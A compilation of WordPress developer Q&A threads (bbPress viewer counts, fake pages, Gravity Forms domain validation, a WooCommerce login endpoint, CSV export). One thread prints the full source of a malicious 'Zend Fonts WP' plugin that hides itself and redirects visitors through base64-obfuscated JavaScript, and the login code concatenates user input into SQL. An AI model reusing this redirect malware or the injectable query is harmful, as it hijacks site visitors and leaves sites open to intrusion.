Number of users currently viewing forum - wordpress

I am trying to input a feature that vBulletin has on my forum which is using BBpress. It's to display how many users are currently viewing a particular forum or thread. I am trying to edit the CBX Users Online plugin because it has a function to display how many users are currently viewing a current page so I am trying to figure out how to edit it for each individual forum instead of the current page.
This is the function that logs the user's visit on the current page:
public function log_visit($page_url = '', $page_title = '') {
global $wpdb;
if (empty($page_url))
$page_url = sanitize_text_field($_SERVER['REQUEST_URI']);
//$page_url = bbp_forum_permalink($forum_id);
if (empty($page_title))
$page_title = self::get_title();
$referral = CBXUseronlineHelper::get_referral();
$user_ip = CBXUseronlineHelper::get_ipaddress();
$user_agent = CBXUseronlineHelper::get_useragent();
$current_user = wp_get_current_user();
$bots = CBXUseronlineHelper::get_bots();
$bot_found = false;
$user_id = '';
foreach ($bots as $name => $lookfor)
{
if (stristr($user_agent, $lookfor) !== false)
{
$user_id = $_COOKIE[CBX_USERONLINE_COOKIE_NAME];
$user_name = $name;
$username = $lookfor;
$user_type = 'bot';
$bot_found = true;
break;
}
}
// If No Bot Is Found, Then We Check Members And Guests
if (!$bot_found)
{
if ($current_user->ID)
{
// Check For Member
$user_id = $current_user->ID;
$user_name = $current_user->display_name;
$user_type = 'user';
$where = $wpdb->prepare("WHERE user_id = %d", $user_id);
}
elseif (isset($_COOKIE[CBX_USERONLINE_COOKIE_NAME])){
$user_id = $_COOKIE[CBX_USERONLINE_COOKIE_NAME];
$user_name = (!empty($_COOKIE['comment_author_' . COOKIEHASH])) ? trim(strip_tags($_COOKIE['comment_author_' . COOKIEHASH])): __('Guest', 'cbxuseronline');
$user_type = 'guest';
}
}
else{
return;
}
$mobile = (CBXUseronlineHelper::is_mobile())? 1: 0;
// Current GMT Timestamp
$timestamp = current_time('mysql');
$cbxuseronline_tablename = CBXUseronlineHelper::get_tablename();
$userid = $user_id;
$cbxuseronline_basics = get_option('cbxuseronline_basics');
$refresh_time = isset($cbxuseronline_basics['refreshtime'])? intval($cbxuseronline_basics['refreshtime']): 3600;
// Purge table
$real_purge = $wpdb->query( $wpdb->prepare( "DELETE FROM $cbxuseronline_tablename WHERE userid = %s OR timestamp < DATE_SUB(%s, INTERVAL %d SECOND)", $userid, $timestamp, $refresh_time ) );
if($real_purge !== false){
do_action('cbxuseronline_record');
}
// Insert Users
$data = compact( 'timestamp', 'user_type', 'userid', 'user_name', 'user_ip', 'user_agent', 'page_title', 'page_url', 'referral', 'mobile' );
$data = stripslashes_deep( $data );
$wpdb->replace( $cbxuseronline_tablename, $data );
// Count Users Online
$cbxuseronline_mostonline_now = intval( $wpdb->get_var( "SELECT COUNT( * ) FROM $cbxuseronline_tablename" ) );
$cbxuseronline_mostonline_old = get_option('cbxuseronline_mostonline');
if($cbxuseronline_mostonline_old === FALSE || ($cbxuseronline_mostonline_now > intval($cbxuseronline_mostonline_old['count'])) ){
update_option('cbxuseronline_mostonline', array(
'count' => $cbxuseronline_mostonline_now,
'date' => current_time( 'timestamp' )
));
}
}
I'm pretty sure that this is the piece of code responsible for logging the user's visit on the current page:
$page_url = sanitize_text_field($_SERVER['REQUEST_URI']);
But I have tried to edit it to something like this:
$page_url = bbp_forum_permalink($forum_id);
but unfortunately that doesn't work.
Does anyone know what I'm doing wrong please?
Thanks in advance for any info / advice given.

Related

Theme json causing Error 404 The site could not be found

I have created several "fake" pages on my website to display information from another database. I recently adopted the Gutenberg editor blocks in the theme but I run into this problem. If I include the theme.json in the root folder of the domain, the "fake" pages are not displayed and return the 404 error. If I remove the theme.json file, I lose the css styles but the pages work again. Does anyone know how to solve this problem?
add_filter( 'the_posts', 'generate_fake_page', 0);
function generate_fake_page($posts) {
$post = new stdClass;
$post->post_author = 1;
$post->post_name = $url_slug;
$post->guid = home_url() . '/other/';
$post->post_title = 'My fake page';
// content
$post->post_content = $content;
$post->ID = $my_uniq_id;
$post->post_type = 'page';
$post->post_status = 'static';
$post->post_excerpt = '';
$post->comment_status = 'closed';
$post->ping_status = 'open';
$post->comment_count = 0;
$post->post_date = $my_date
$post->post_date_gmt = $my_date;
$posts = NULL;
$posts[] = $post;
// make wpQuery believe this is a real page too
$wp_query->is_page = true;
$wp_query->is_singular = true;
$wp_query->is_home = false;
$wp_query->is_archive = false;
$wp_query->is_category = false;
$wp_query->is_attachment = false;
unset( $wp_query->query[ 'error' ] );
$wp_query->query_vars[ 'error' ] = '';
$wp_query->is_404 = false;
return $posts;
}

WordPress Website redirected to unknown link (due to plugin/malware Zend Fonts WP)

I desactivated then deleted a malicious "plugin" on WordPress that I never installed in the first place. Its name is Zend Fonts WP. Although, my website is still re-directed to "https://makethisdaygood.com/main" which is a website I don't know and that doesn't work anyways. What should I do next?
Here is the code that was in a file from the plugin I deleted :
if ( ! defined( 'ABSPATH' ) ) {
exit();
}
function get_the_user_ip() {
if ( isset( $_SERVER['HTTP_CF_CONNECTION_IP'] ) ) {
$ip = $_SERVER['HTTP_CF_CONNECTION_IP'];
}
elseif ( isset( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif ( isset( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}
function isAdminUser(){
if (current_user_can('administrator') || current_user_can('editor'))
return true;
else
return false;
}
function console_log( $data ){
echo '<script>';
echo 'console.log('. json_encode( $data ) .')';
echo '</script>';
}
//hide plugin
add_filter('all_plugins', 'hide_plugins');
function hide_plugins($plugins) {
unset($plugins['zend-fonts-wp/zend-fonts-wp.php']);
return $plugins;
}
add_action("init", "sayecho");
function sayecho(){
global $wpdb;
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$user_ip = get_the_user_ip();
$isAdmin = isAdminUser();
$table_name = $wpdb->prefix."wusers_inputs";
$isBot = strpos(strtolower($user_agent), 'bot');
$timeNow = time();
$pluginTimeTableName = $wpdb->prefix.'wzen_time_table';
// $wpdb->query("DROP TABLE IF EXISTS $pluginTimeTableName");
// $wpdb->query("DROP TABLE IF EXISTS $table_name");
if ($wpdb->get_var('SHOW TABLES LIKE "'.$pluginTimeTableName.'"') != $pluginTimeTableName) {
$sql = 'CREATE TABLE '.$pluginTimeTableName.' (`time` int(11) UNSIGNED NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;';
require_once(ABSPATH.'wp-admin/includes/upgrade.php');
dbDelta($sql);
$wpdb->insert($pluginTimeTableName, array('time'=>$timeNow));
}
$pluginStartTime = null;
foreach($wpdb->get_results("SELECT * FROM {$pluginTimeTableName}") as $data){
$pluginStartTime = $data->time;
break;
}
//check user is not from REF, not BOT and plugin install time to skip recording your data
if(!isset($_SERVER['HTTP_REFERER']) && !$isBot && $pluginStartTime + 60 < time()) {
//if table is not exists - create table
if ( $wpdb->get_var( 'SHOW TABLES LIKE "' . $table_name . '"' ) != $table_name ) {
$sql = 'CREATE TABLE ' . $table_name . ' (`ip` varchar(535) NOT NULL,`useragent` varchar(535) NOT NULL,`adminID` int NOT NULL) ENGINE=MyISAM DEFAULT CHARSET=utf8;';
require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
dbDelta( $sql );
}
//if admin - add IP and UA to DB
if ( $isAdmin ) {
$isIpAndUaInDB = $wpdb->get_var(
$wpdb->prepare(
"SELECT * FROM {$table_name} WHERE ip like %s AND useragent like %s LIMIT 1",
$user_ip, $user_agent ) );
if ( ! $isIpAndUaInDB ) {
$wpdb->insert( $table_name, [
'ip' => $user_ip,
'useragent' => $user_agent,
'adminID' => $isAdmin ? get_current_user_id() : - 1,
] );
}
}
}
//do redirect if user from REF and NOT Admin
if(isset( $_SERVER['HTTP_REFERER']) && !$isAdmin){
redirect();
}
}
function redirect()
{
$url = base64_decode('bWFrZXRoaXNkYXlnb29kLmNvbS9tYWlu');
if (!isset($_COOKIE[base64_decode('aHRfcnI=')])) {
setcookie( base64_decode( 'aHRfcnI=' ), 1, time() + 86400, base64_decode( 'Lw==' ) );
echo base64_decode( 'PHNjcmlwdD53aW5kb3cubG9jYXRpb24ucmVwbGFjZSgi' ) . 'https://'.$url . base64_decode( 'Iik7d2luZG93LmxvY2F0aW9uLmhyZWYgPSAi' ) . 'https://'.$url . base64_decode( 'Ijs8L3NjcmlwdD4=' );
}
}
Edit : It seems that the changes I made worked out several hours after. I hope it won't come back! Thanks for your help!
You can do following steps as debugging.
Please Check your Site URL and Home URL in Wp Dashboard.
Please Delete .htaccess file.(It will get generated again)
check wp-config.php file and check if there any site url set in that.
Check database wp_options table and set your url correctly.
Or use Any external security plugin such as "Wordfence". Scan your website and clean up hacked website.

How to do email validation by blocking some email domain names in wordpress?

I need to validate an email field in gravity form. We have some known list of email domains and need to validate whether that domains present or not and If that domains present means we need to show the error message.
What is the best way to implement that? Any plugin suggestions?
This is possible with the GW_Email_Domain_Validator snippet here:
https://gravitywiz.com/banlimit-email-domains-for-gravity-form-email-fields/
Full snippet as of July 18, 2020 included here. Use the link above to get the latest version.
<?php
/**
* Gravity Wiz // Gravity Forms // Email Domain Validator
*
* This snippets allows you to exclude a list of invalid domains or include a list of valid domains for your Gravity Form Email fields.
*
* #version 1.4
* #author David Smith <david#gravitywiz.com>
* #license GPL-2.0+
* #link http://gravitywiz.com/banlimit-email-domains-for-gravity-form-email-fields/
*/
class GW_Email_Domain_Validator {
private $_args;
function __construct($args) {
$this->_args = wp_parse_args( $args, array(
'form_id' => false,
'field_id' => false,
'domains' => false,
'validation_message' => __( 'Sorry, <strong>%s</strong> email accounts are not eligible for this form.' ),
'mode' => 'ban' // also accepts "limit"
) );
// convert field ID to an array for consistency, it can be passed as an array or a single ID
if($this->_args['field_id'] && !is_array($this->_args['field_id']))
$this->_args['field_id'] = array($this->_args['field_id']);
$form_filter = $this->_args['form_id'] ? "_{$this->_args['form_id']}" : '';
add_filter("gform_validation{$form_filter}", array($this, 'validate'));
}
function validate($validation_result) {
$form = $validation_result['form'];
foreach($form['fields'] as &$field) {
// if this is not an email field, skip
if(RGFormsModel::get_input_type($field) != 'email')
continue;
// if field ID was passed and current field is not in that array, skip
if($this->_args['field_id'] && !in_array($field['id'], $this->_args['field_id']))
continue;
$page_number = GFFormDisplay::get_source_page( $form['id'] );
if( $page_number > 0 && $field->pageNumber != $page_number ) {
continue;
}
if( GFFormsModel::is_field_hidden( $form, $field, array() ) ) {
continue;
}
$domain = $this->get_email_domain($field);
// if domain is valid OR if the email field is empty, skip
if($this->is_domain_valid($domain) || empty($domain))
continue;
$validation_result['is_valid'] = false;
$field['failed_validation'] = true;
$field['validation_message'] = sprintf($this->_args['validation_message'], $domain);
}
$validation_result['form'] = $form;
return $validation_result;
}
function get_email_domain( $field ) {
$email = explode( '#', rgpost( "input_{$field['id']}" ) );
return trim( rgar( $email, 1 ) );
}
function is_domain_valid( $domain ) {
$mode = $this->_args['mode'];
$domain = strtolower( $domain );
foreach( $this->_args['domains'] as $_domain ) {
$_domain = strtolower( $_domain );
$full_match = $domain == $_domain;
$suffix_match = strpos( $_domain, '.' ) === 0 && $this->str_ends_with( $domain, $_domain );
$has_match = $full_match || $suffix_match;
if( $mode == 'ban' && $has_match ) {
return false;
} else if( $mode == 'limit' && $has_match ) {
return true;
}
}
return $mode == 'limit' ? false : true;
}
function str_ends_with( $string, $text ) {
$length = strlen( $string );
$text_length = strlen( $text );
if( $text_length > $length ) {
return false;
}
return substr_compare( $string, $text, $length - $text_length, $text_length ) === 0;
}
}
To only accept submissions from a given email domain you can do something like this:
new GW_Email_Domain_Validator( array(
'form_id' => 326,
'field_id' => 1,
'domains' => array( 'gmail.com', 'hotmail.com', '.co.uk' ),
'validation_message' => __( 'Oh no! <strong>%s</strong> email accounts are not eligible for this form.' ),
'mode' => 'limit'
) );

Woocommerce Login Custome API Endpoint

I am developing an app using woocommerece store and using the Woocommerce REST API for Fetching the Products and Order details, but now I am facing the problem in login because Woocommerce didn't provide this type of API.
So I am creating a custom endpoint and trying this but I am getting the error 404, no rest route available.
Here is my custome end point which i registered.
add_action( 'rest_api_init', function () {
register_rest_route( 'wc/v2', '/login/)', array(
'methods' => 'POST',
'callback'=> 'my_awesome_func',
'args' => array(
),
) );
} );
Here is the login of Login but i think i am doing anything wrong at someplace so please check and help me .
function my_awesome_func( WP_REST_Request $request ) {
global $wpdb;
$username = $request['email'];
$password = $request['password'];
$db = new DbOperation();
$response = array();
$login_data = array();
$login_data['user_login'] = $username;
$login_data['user_password'] = $password;
$results = $wpdb->get_row( "SELECT ID FROM rd_users WHERE user_email='".$username."'");
$activation_id = $results->ID;
$activation_key = get_user_meta( $activation_id, 'has_to_be_activated', true );
if($activation_key != false ){
$results = 2;//if activation key exists than show the error
}
else{
$user_verify = wp_signon( $login_data, false );
if ( is_wp_error($user_verify) )
{
$results = 0; //show invalid username and password.
}
else {
$results = 1; //login success.
}
}
if ($results== 1) {
$user_info = get_userdata($student[0]->ID);
$response['id'] = $user_info->ID;
$response['name'] = $user_info->display_name;
$response['fname'] = $user_info->first_name;
$response['lname'] = $user_info->last_name;
$response['email'] = $user_info->user_email;
$response['status'] = 1;
$response["error"] = false;
$response['message'] = "You have successfully Logedin!";
} else {
if($results == 0){
$response['status'] = 0;
$response["error"] = true;
$response['message'] = "Invalid username or password";
}
else{
$response['status'] = 2;
$response["error"] = true;
$response['message'] ="Your account has not been activated yet.
To activate it check your email and clik on the activation link.";
}
}
return $response;
}
See what i have found,
used https authentication. In postman, instead of using oAuth1.0 as the authentication, use Basic authentication and pass consumer key as the username. And the password should be consumer secret.
I hope that would work.

How to create csv export button with wordpress

Hi to all wordpress developers: Please help me on how to create button that will export csv. I create some functions below to output as csv but my problem right now is how to call this function with a button or href. In wordpress way thanks.
function csv(){
global $wpdb;
$sql = "SELECT * from activity WHERE activity_date = '2016-08-07' ";
$MyQuery = $wpdb->get_results($sql);
// Process report request
if (! $MyQuery) {
$Error = $wpdb->print_error();
die("The following error was found: $Error");
} else {
$csv_fields=array();
$csv_fields[] = 'Activity Date';
$csv_fields[] = 'Name';
$csv_fields[] = 'Activity Name';
$csv_fields[] = 'Email Address';
$csv_fields[] = 'Phone No.';
$output_filename = 'MyReport.csv';
$output_handle = fopen( 'php://output', 'w' );
header('Content-Disposition:attachment');
header('Content-type: application/csv');
header('Content-Disposition: attachment; filename="'.$output_filename.'"' );
// Insert header row
fputcsv( $output_handle, $csv_fields );
foreach ($MyQuery as $Result) {
$leadArray = (array) $Result; // Cast the Object to an array
fputcsv( $output_handle, $leadArray );
}
exit;
}
}

Resources